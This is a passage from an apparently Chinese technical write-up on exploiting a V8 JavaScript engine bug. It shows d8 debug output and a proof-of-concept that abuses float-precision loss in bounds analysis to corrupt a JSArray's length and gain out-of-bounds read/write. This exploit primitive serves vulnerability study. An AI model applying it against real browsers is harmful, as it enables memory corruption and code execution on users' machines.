!important;word-break: inherit !important;">24</span> - <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">instance</span> <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">size</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">32</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span> - inobject properties: <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span> - elements kind: PACKED_DOUBLE_ELEMENTS<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">elements对应的内存如下，可以看到上面越界的数据位于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">0x00379ae0df48</code></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.2609457092819615" title="" data-type="png" data-w="571" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0571fdf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcorMSwrN1G2HkeFDHwjylXfQC4P53uHFEAqq4jfUcnOaFjxKC5M2Smw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（1）Corrupting a JSArray</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">上图的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">FixedDoubleArray</code>的elements里，第二个成员也是数组长度，但是这个长度仅仅是提供fixed array的内存申请的信息，最终判断数组长度的还是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSArray</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">length</code>。如下的情况，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSArray</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">length</code>为1，而<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">FixedArray</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">length</code>为17</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> a = new Array(0);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>undefined<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> a.push(1);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>1<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DebugPrint(a)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>DebugPrint: 0xd893a90aed1: [JSArray]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>- map: 0x18bbbe002ca1 &lt;Map(HOLEY_SMI_ELEMENTS)&gt; [FastProperties]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>- prototype: 0x1cf26798fdb1 &lt;JSArray[0]&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>- elements: 0x0d893a90d1c9 &lt;FixedArray[17]&gt; [HOLEY_SMI_ELEMENTS]<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>- length: 1<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>- properties: 0x367210500c19 &lt;FixedArray[0]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">#</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">length: 0x0091daa801a1 &lt;AccessorInfo&gt; (const accessor descriptor)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>- elements: 0x0d893a90d1c9 &lt;FixedArray[17]&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>0: 1<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>1-16: 0x3672105005a9 &lt;the_hole&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span> }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过修改poc，利用精度丢失越界读写<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSArray</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">length</code>。修改了arr1自身的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JSArray</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">length</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> AB_LENGTH = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x233</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> NEW_LENGTH64  = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0x0000006400000000</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> ab = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">ArrayBuffer</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> fv = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Float64Array</span>(ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> dv = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> BigUint64Array(ab);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> f2i = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">f</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = f;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> i2f = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">i</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>  dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = BigInt(i);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> tagFloat = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">f</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>  fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] = f;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>  dv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] += <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>n;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> fv[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> hexprintablei = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">i</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> (i).toString(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>).padStart(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;0&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> debug = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x,z, leak</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;oob index is &#34;</span> + z);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;length is &#34;</span> + x.length);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>  print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;leaked 0x&#34;</span> + hexprintablei(f2i(leak)));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DebugPrint(x);</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>  %SystemBreak();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//%DumpObjects(x,13); // 23 &amp; 3 to dump the jsarray&#39;s elements</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>};<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> opt_me = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> arr = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.3</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.4</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.5</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.6</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.7</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> y = (( x==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ) ? <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740992</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>) + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>  y = y - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=2, actual max=5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>  y = y * <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=4, actual max=10</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>  arr[y] = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2.121995790965e-312</span>;  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// corrupt arr.length =&gt; i2f(NEW_LENGTH64)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> leak = arr[y];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> arr2 = <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>.of(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> evil_ab = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">ArrayBuffer</span>(AB_LENGTH);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (x == <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>){<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>    %DebugPrint(arr);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>    debug(arr,y, leak);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;array&#39;s length: &#34;</span>+ arr.length + <span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34; + &#34;</span> + i2f(NEW_LENGTH64));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span>    print(<span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;oob read: &#34;</span> + arr[<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">20</span>]);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> leak;<br/><span style="font-size: inherit;line-height: inherit;color: 